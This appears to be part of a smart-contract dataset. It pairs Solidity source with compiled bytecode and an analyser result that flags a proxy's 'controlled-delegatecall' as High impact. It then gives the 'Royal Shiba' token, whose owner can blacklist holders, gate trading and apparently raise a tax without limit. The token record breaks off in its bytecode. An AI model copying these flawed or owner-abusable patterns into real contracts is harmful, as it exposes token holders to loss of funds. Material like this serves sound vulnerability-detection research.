* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal { super._willFallback(); } } /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for * initializing the implementation, admin, and init data. */ contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { /** * Contract initializer. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _admin, address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); InitializableUpgradeabilityProxy.initialize(_logic, _data); assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } }
0x6080604052600436106100745760003560e01c80638f2839701161004e5780638f2839701461016f578063cf7a1d77146101a2578063d1f5789414610261578063f851a4401461031757610083565b80633659cfe61461008b5780634f1ef286146100be5780635c60da1b1461013e57610083565b366100835761008161032c565b005b61008161032c565b34801561009757600080fd5b50610081600480360360208110156100ae57600080fd5b50356001600160a01b0316610371565b610081600480360360408110156100d457600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ff57600080fd5b82018360208201111561011157600080fd5b8035906020019184600183028401116401000000008311171561013357600080fd5b5090925090506103ab565b34801561014a57600080fd5b50610153610458565b604080516001600160a01b039092168252519081900360200190f35b34801561017b57600080fd5b506100816004803603602081101561019257600080fd5b50356001600160a01b0316610495565b610081600480360360608110156101b857600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101ec57600080fd5b8201836020820111156101fe57600080fd5b8035906020019184600183028401116401000000008311171561022057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061054f945050505050565b6100816004803603604081101561027757600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156102a257600080fd5b8201836020820111156102b457600080fd5b803590602001918460018302840111640100000000831117156102d657600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061057f945050505050565b34801561032357600080fd5b5061015361065f565b6103353361068a565b801561033f575036155b801561034d57506108fc5a11155b156103575761036f565b61035f610690565b61036f61036a6106e8565b61070d565b565b610379610731565b6001600160a01b0316336001600160a01b031614156103a05761039b81610756565b6103a8565b6103a861032c565b50565b6103b3610731565b6001600160a01b0316336001600160a01b0316141561044b576103d583610756565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610432576040519150601f19603f3d011682016040523d82523d6000602084013e610437565b606091505b505090508061044557600080fd5b50610453565b61045361032c565b505050565b6000610462610731565b6001600160a01b0316336001600160a01b0316141561048a576104836106e8565b9050610492565b61049261032c565b90565b61049d610731565b6001600160a01b0316336001600160a01b031614156103a0576001600160a01b0381166104fb5760405162461bcd60e51b81526004018080602001828103825260368152602001806108556036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610524610731565b604080516001600160a01b03928316815291841660208301528051918290030190a161039b81610796565b60006105596106e8565b6001600160a01b03161461056c57600080fd5b610576828261057f565b61045383610796565b60006105896106e8565b6001600160a01b03161461059c57600080fd5b6105a5826107ba565b80511561065b576000826001600160a01b0316826040518082805190602001908083835b602083106105e85780518252601f1990920191602091820191016105c9565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610648576040519150601f19603f3d011682016040523d82523d6000602084013e61064d565b606091505b505090508061045357600080fd5b5050565b6000610669610731565b6001600160a01b0316336001600160a01b0316141561048a57610483610731565b3b151590565b610698610731565b6001600160a01b0316336001600160a01b0316141561036f5760405162461bcd60e51b81526004018080602001828103825260328152602001806108236032913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561072c573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61075f816107ba565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6107c38161068a565b6107fe5760405162461bcd60e51b815260040180806020018281038252603b81526020018061088b603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220e6fadd51b281dac9b5e7b119f723ec2de83d894bde920065b1c6ead1d5ab100c64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
10,048
0xfde7acd84bbf98f7da78713ff4a3e4c5ba1cefef
// SPDX-License-Identifier: Unlicensed // A message from the KING! // https://royalshiba.xyz/ // https://twitter.com/RoyalShibaxyz // https://t.me/royalshib pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ROYALSHIB is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Royal Shiba"; string private constant _symbol = "ROYALSHIB"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private _removeTxLimit = false; uint256 public _maxTxAmount = 2e7 * 10**9; uint256 public _maxWalletSize = 2e7 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } if(!_removeTxLimit){ require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { if(!_removeTxLimit){ require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { bots[bots_[i]] = true; } } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function setRemoveTxLimit(bool enable) external onlyOwner{ _removeTxLimit = enable; } }
0x6080604052600436106101db5760003560e01c806374010ece11610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610586578063dd62ed3e146105a6578063ea1644d5146105ec578063f2fde38b1461060c57600080fd5b8063a2a957bb14610501578063a9059cbb14610521578063bfd7928414610541578063c3c8cd801461057157600080fd5b80638f70ccf7116100d15780638f70ccf7146104795780638f9a55c01461049957806395d89b41146104af57806398a5c315146104e157600080fd5b806374010ece146103f85780637d1db4a5146104185780637f2feddc1461042e5780638da5cb5b1461045b57600080fd5b80632fd689e31161017a5780636d8aa8f8116101495780636d8aa8f81461038e5780636fc3eaec146103ae57806370a08231146103c3578063715018a6146103e357600080fd5b80632fd689e31461031c578063313ce5671461033257806349bd5a5e1461034e5780636b9990531461036e57600080fd5b8063095ea7b3116101b6578063095ea7b31461026f5780631694505e1461029f57806318160ddd146102d757806323b872dd146102fc57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063093bb7201461024f57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a7c565b61062c565b005b34801561021557600080fd5b5060408051808201909152600b81526a526f79616c20536869626160a81b60208201525b6040516102469190611b41565b60405180910390f35b34801561025b57600080fd5b5061020761026a366004611ba6565b610752565b34801561027b57600080fd5b5061028f61028a366004611bc1565b61079a565b6040519015158152602001610246565b3480156102ab57600080fd5b506013546102bf906001600160a01b031681565b6040516001600160a01b039091168152602001610246565b3480156102e357600080fd5b50670de0b6b3a76400005b604051908152602001610246565b34801561030857600080fd5b5061028f610317366004611bed565b6107b1565b34801561032857600080fd5b506102ee60175481565b34801561033e57600080fd5b5060405160098152602001610246565b34801561035a57600080fd5b506014546102bf906001600160a01b031681565b34801561037a57600080fd5b50610207610389366004611c2e565b61081a565b34801561039a57600080fd5b506102076103a9366004611ba6565b610865565b3480156103ba57600080fd5b506102076108ad565b3480156103cf57600080fd5b506102ee6103de366004611c2e565b6108da565b3480156103ef57600080fd5b506102076108fc565b34801561040457600080fd5b50610207610413366004611c4b565b610970565b34801561042457600080fd5b506102ee60155481565b34801561043a57600080fd5b506102ee610449366004611c2e565b60116020526000908152604090205481565b34801561046757600080fd5b506000546001600160a01b03166102bf565b34801561048557600080fd5b50610207610494366004611ba6565b6109b2565b3480156104a557600080fd5b506102ee60165481565b3480156104bb57600080fd5b506040805180820190915260098152682927aca0a629a424a160b91b6020820152610239565b3480156104ed57600080fd5b506102076104fc366004611c4b565b610a11565b34801561050d57600080fd5b5061020761051c366004611c64565b610a40565b34801561052d57600080fd5b5061028f61053c366004611bc1565b610a9a565b34801561054d57600080fd5b5061028f61055c366004611c2e565b60106020526000908152604090205460ff1681565b34801561057d57600080fd5b50610207610aa7565b34801561059257600080fd5b506102076105a1366004611c96565b610add565b3480156105b257600080fd5b506102ee6105c1366004611d1a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105f857600080fd5b50610207610607366004611c4b565b610b7e565b34801561061857600080fd5b50610207610627366004611c2e565b610bad565b6000546001600160a01b0316331461065f5760405162461bcd60e51b815260040161065690611d53565b60405180910390fd5b60005b815181101561074e5760145482516001600160a01b039091169083908390811061068e5761068e611d88565b60200260200101516001600160a01b0316141580156106df575060135482516001600160a01b03909116908390839081106106cb576106cb611d88565b60200260200101516001600160a01b031614155b1561073c576001601060008484815181106106fc576106fc611d88565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061074681611db4565b915050610662565b5050565b6000546001600160a01b0316331461077c5760405162461bcd60e51b815260040161065690611d53565b60148054911515600160b81b0260ff60b81b19909216919091179055565b60006107a7338484610c97565b5060015b92915050565b60006107be848484610dbb565b610810843361080b85604051806060016040528060288152602001611ece602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611319565b610c97565b5060019392505050565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161065690611d53565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461088f5760405162461bcd60e51b815260040161065690611d53565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146108cd57600080fd5b476108d781611353565b50565b6001600160a01b0381166000908152600260205260408120546107ab9061138d565b6000546001600160a01b031633146109265760405162461bcd60e51b815260040161065690611d53565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461099a5760405162461bcd60e51b815260040161065690611d53565b6611c37937e0800081116109ad57600080fd5b601555565b6000546001600160a01b031633146109dc5760405162461bcd60e51b815260040161065690611d53565b601454600160a01b900460ff16156109f357600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a3b5760405162461bcd60e51b815260040161065690611d53565b601755565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b815260040161065690611d53565b60095482111580610a7d5750600b548111155b610a8657600080fd5b600893909355600a91909155600955600b55565b60006107a7338484610dbb565b6012546001600160a01b0316336001600160a01b031614610ac757600080fd5b6000610ad2306108da565b90506108d781611411565b6000546001600160a01b03163314610b075760405162461bcd60e51b815260040161065690611d53565b60005b82811015610b78578160056000868685818110610b2957610b29611d88565b9050602002016020810190610b3e9190611c2e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b7081611db4565b915050610b0a565b50505050565b6000546001600160a01b03163314610ba85760405162461bcd60e51b815260040161065690611d53565b601655565b6000546001600160a01b03163314610bd75760405162461bcd60e51b815260040161065690611d53565b6001600160a01b038116610c3c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610656565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cf95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610656565b6001600160a01b038216610d5a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610656565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e1f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610656565b6001600160a01b038216610e815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610656565b60008111610ee35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610656565b6000546001600160a01b03848116911614801590610f0f57506000546001600160a01b03838116911614155b1561121257601454600160a01b900460ff16610fa8576000546001600160a01b03848116911614610fa85760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610656565b601454600160b81b900460ff1661100b5760155481111561100b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610656565b6001600160a01b03831660009081526010602052604090205460ff1615801561104d57506001600160a01b03821660009081526010602052604090205460ff16155b6110a55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610656565b6014546001600160a01b0383811691161461113b57601454600160b81b900460ff1661113b57601654816110d8846108da565b6110e29190611dcf565b1061113b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610656565b6000611146306108da565b60175460155491925082101590821061115f5760155491505b8080156111765750601454600160a81b900460ff16155b801561119057506014546001600160a01b03868116911614155b80156111a55750601454600160b01b900460ff165b80156111ca57506001600160a01b03851660009081526005602052604090205460ff16155b80156111ef57506001600160a01b03841660009081526005602052604090205460ff16155b1561120f576111fd82611411565b47801561120d5761120d47611353565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061125457506001600160a01b03831660009081526005602052604090205460ff165b8061128657506014546001600160a01b0385811691161480159061128657506014546001600160a01b03848116911614155b156112935750600061130d565b6014546001600160a01b0385811691161480156112be57506013546001600160a01b03848116911614155b156112d057600854600c55600954600d555b6014546001600160a01b0384811691161480156112fb57506013546001600160a01b03858116911614155b1561130d57600a54600c55600b54600d555b610b788484848461158b565b6000818484111561133d5760405162461bcd60e51b81526004016106569190611b41565b50600061134a8486611de7565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561074e573d6000803e3d6000fd5b60006006548211156113f45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610656565b60006113fe6115b9565b905061140a83826115dc565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061145957611459611d88565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d69190611dfe565b816001815181106114e9576114e9611d88565b6001600160a01b03928316602091820292909201015260135461150f9130911684610c97565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611548908590600090869030904290600401611e1b565b600060405180830381600087803b15801561156257600080fd5b505af1158015611576573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806115985761159861161e565b6115a384848461164c565b80610b7857610b78600e54600c55600f54600d55565b60008060006115c6611743565b90925090506115d582826115dc565b9250505090565b600061140a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611783565b600c5415801561162e5750600d54155b1561163557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061165e876117b1565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611690908761180e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116bf9086611850565b6001600160a01b0389166000908152600260205260409020556116e1816118af565b6116eb84836118f9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161